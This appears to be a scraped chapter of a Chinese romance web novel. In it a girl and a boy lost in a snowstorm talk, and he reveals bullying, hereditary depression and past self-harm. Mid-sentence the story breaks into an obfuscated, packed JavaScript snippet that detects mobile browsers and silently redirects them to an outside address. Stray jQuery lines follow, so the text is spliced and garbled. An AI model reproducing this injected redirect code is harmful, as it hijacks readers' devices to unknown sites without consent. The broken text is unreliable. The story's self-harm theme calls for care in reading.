雪越下越大,鹅毛似的飘着,脚下全是白茫茫的深雪。
千雪曾渴望看的世界,此时却像一张望不到尽头的网,将她牢牢地困在里面。
她停下来,拿出手机,深深地吸了口气,摁亮屏幕,依旧没有信号,一颗心如坠冰窟。
“我们现在在两千多米的山上,再往下走一段路,说不定就有信号了。”叶归拍掉落在她小红帽上的雪花,清冷的眼里透出温柔,“别担心,我陪着你。”
“叶归,我……我们……”千雪觉得自己每个细胞似乎都被寒意占领,腿也有些僵了,嘴唇冻得发紫。
叶归似乎知道她想要说什么,打断她:“我们不会有事的,你跟着我,我走你前面,你走我身后。”
“叶归,你这是要做我的挡风神器吗?”
“你可以这么理解。”
千雪亦步亦趋地跟在叶归身后,他高大的身体,为她挡去了不少风雪。
他走在她前面,像一棵千年神树,不只能为她遮风挡雪,还能给她带来安心。
夜很黑,雪很大,而眼前的少年,似春回大地的暖风,在黑暗中,为她开辟了一条雪之星河。
千雪紧紧地跟着叶归,他往左,她也往左;他往右,她也往右,俨然他的小尾巴。
“叶归,你怎么没跟你家人一起出来旅游?”千雪盯着叶归藏在卫衣帽子里的后脑勺。
叶归的脚步一顿。
千雪撞到他后背,听到他说:“没有家人。”
呀,鼻子撞得有些疼,千雪皱了下眉头,惊疑地抬头去看转身看她的叶归:“你的家人呢?”
“我爸在我五岁时出意外离开了,我妈,月初tiao/楼了。”
千雪体会过至亲的离世,是十岁那年,外公患病去世,她看着躺在水晶棺材里的外公,哭成了小泪人。
她知道至亲离世的痛苦,拽住叶归的衣袖,扑闪着挂着雾凇的好看杏眼,安慰他:“叶归,苦难是我们每个人都要面临的命题,有的人遇到了,可能就跟苦难妥协了。”
“但我觉得还是别妥协了,好不容易来人间一趟,总要让自己开心点,就算成不了什么伟人啊名家啊,但至少,我们也要成为自己命运的捕手。”
她走到他身侧,望着他那双深不可测的深邃眼眸,语气坚定:“太阳会落下,但太阳也会升起。”
她牵起了叶归的手,这次她没有做他的小尾巴,成了与他并肩同行的夜归人。
叶归垂眸望着那只牵住自己的手,戴着红色毛茸茸手套,明明有一丝寒意,他却感到了许久未曾体会到的暖意。
他待在黑暗里太久了,以至于忘记了这世上还有光的存在。
“太阳永远不会落在我身上。”这是他的心声,也是他一直以来的处境。
“怎么会呢。”千雪晃了晃他的手,冲他一笑,“看看我像什么。”
她像什么?
像原始篝火,熊熊燃烧,照亮黑夜;
像漫天星光,铺满天幕,点亮夜空;
像夜之精灵,闯入他的世界,扫荡他心底的黑暗,乍现不朽之光。
她是所有光的总和,善良打底,微笑作陪,活泼点缀。
仿佛把一整个世界的光都带到了他面前。
“光。”
“不至于吧。”千雪弯眼笑,“看我,像不像一枚小太阳?”
太阳?她笑起来,眼睛里闪着细碎的光,像他拉开窗帘时,洒落窗前的那束暖光。
“挺像。”
“从现在开始,我做你的太阳,好不好?”千雪说,“太阳永远会落在你身上。”
这次牵手谁都没松开,他们是极寒雪原里彼此唯一的依靠,好像不松开,就能抵御严寒,一起找到出路。
“千雪。”
“嗯?”
“我知道我们该做点什么了。”叶归停下来看千雪,眼睛里闪着光。
“啊?”千雪抬头看他,冰天雪地里,他想做点什么?“你不会想对我表白吧,我可告诉你,高考之前我没有谈恋爱的打算。”
“谁要跟你谈恋爱。”叶归松开她的手,“我这一辈子都不会谈恋爱。”
“为什么?”哪有人不想谈恋爱的,千雪从艾嘉那儿得知,谈恋爱可是世界上很美妙的一件事,可以跟喜欢的人一起看云赏月,一起度过春夏,甚至有的还能为了能跟对方上同一所大学,奋发图强。
谈恋爱不挺好吗,为什么叶归不想谈恋爱呢?
“还记得我跟你说过,我有抑郁症吗?”
“谁规定有抑郁症就不能谈恋爱的。”
“遗传性抑郁症,治不了。”叶归的声音沉下去,“谁跟我在一起都不会幸福,我不想害谁。”
“你都没试过,怎么知道别人跟你在一起会不幸福。”迎着风雪,千雪明显感觉到凛冽寒意,说话间被灌了风雪,咳嗽起来。
叶归往前跨了一步,把小姑娘挡在自己身后,转头跟她说:“跟我后面。”
见小姑娘咳嗽得厉害,叶归干脆停下来,带她走到背风处,找了一块岩石,两人靠坐上去:“歇会儿。”
千雪喝了几口水,终于缓过来,看到叶归伸到自己面前的手腕,听到他说:“看到了吗,这些都是抑郁症带给我的伤痕。”
叶归开始打开心扉,向一个只有一面之缘的人讲自己从未跟别人讲过的最深的秘密。
……
高一那年,叶归十四岁,刚入学两个月,独来独往,寡言少语,是别人眼中的学霸,也是别人眼中的怪咖,偏偏这样的怪咖个头拔高,还长得帅,成了女生们纷纷追逐的男神。
有的女生特意每天走过他们班,只为一堵男神之姿,有的女生天天给他送情书,有的女生主动拦住他问他要手机号……什么样的都有,但这位男神谁都不搭理,谁都无法打开他的那扇心门。
女生们的此举,男神的冷漠回应,引来了其他男生们的嫉妒,甚至恨意,对叶归进行言语上的侮辱,诸如:
“他算个什么东西,不就是成绩好点,长得好点吗,但没有一点人气味儿,你们不觉得他像末日僵尸吗。”
“他以为他谁啊,那样对待女生们,没礼貌,也没风度,渣男!”……
对于这
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14858196|159375||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
些声音,叶归能听见,但全当听不见。
但事态朝着更严重的方向发展,有人在他的课本上用刀片剜了大大的洞,语文课本、数学课本、英语课本、物理课本都无一幸免,每个课本上一个字,合起来是:渣男去死!
有人在他的课桌上刻了无数的恶言恶语;有人去班主任那儿检举他作风不正,玩弄女生……
到后来,他从神坛上的学神,变成了别人口中的变态、渣男。
一时间,所有的流言蜚语如同雪片砸向他。
他的世界,经久不息地下着一场场纷纷扬扬的大雪。
黑暗如牢笼将他罩住,他对所有事物都产生不了一点兴趣,他开始厌世。
他走入一场死局,出不来、逃不走,只能休学,将自己困在暗无天日的房间里,关上窗帘,任由黑暗将他吞噬。
整整三个月,他瘦了二十斤,脸色苍白,嘴角干裂,不复往日光彩。
直到他妈妈方女士看到他这副模样,才不得不跟他说:“孩子,我们去看医生吧。”
那是他第一次去精神科,看到“精神科”的牌子,他猛然惊醒,内心抗拒,甩开方女士的手就往外跑。
被方女士拽回来时,他双手放在头上,揉乱了头发,低头垂眸,表情痛苦,跟方女士说:“我不看了,我要走!”
“儿子,妈妈对不起你,应该早点带你来看的。”方女士痛苦道,“都怪妈妈,害你有遗传性抑郁症。妈妈之前怎么跟你说的,生病了,咱们就要治。妈妈陪着你。”
方女士死死地拽着叶归的手。
叶归看了心理医生,得知自己那段时间得了很严重的抑郁症,已经到了自/can的程度,手腕上的伤痕便是铁证。
他配合吃药,到高一下学期才入学,休学期间将落下的课程一一自学,跳级到高三,因为成绩优异,提前参加高考,成功考入理想大学,那年他十五岁。
后来,叶归想,最初犯病,应该是五年级,不算严重,只是极度孤僻,不喜与人交往。
本有预兆,但他只把这当成自己性格的转变。
……
“后来呢?是不是又复发过?”千雪看着叶归手腕上的伤痕,触目惊心,像有细针在她心头剜着,有些刺痛。
“嗯。”叶归的眼神黯然,“上大学,那些人还那么幼稚,可能是嫉妒我吧,课上课后都排挤我,在学校论坛里到处发一些不实的负面消息。”
“所以,你又伤害自己了?”千雪数着他手腕上的伤痕,交错间,至少有五六道。
叶归的声音里像含着风霜,哑哑的:“每次陷入黑暗,si/亡是唯一的出路。但我又不甘心就那样死去,好像有一些未完成的事在等我。”
“你的未完成,是等着有一天我的出现吧。”千雪逗他。
叶归不禁笑了:“也许吧。”
“把你的手伸过来。”
“干吗?”
“给我。”
叶归伸出左手。
“闭眼。”千雪说。
“你要做什么?”
“等会儿你就知道了。”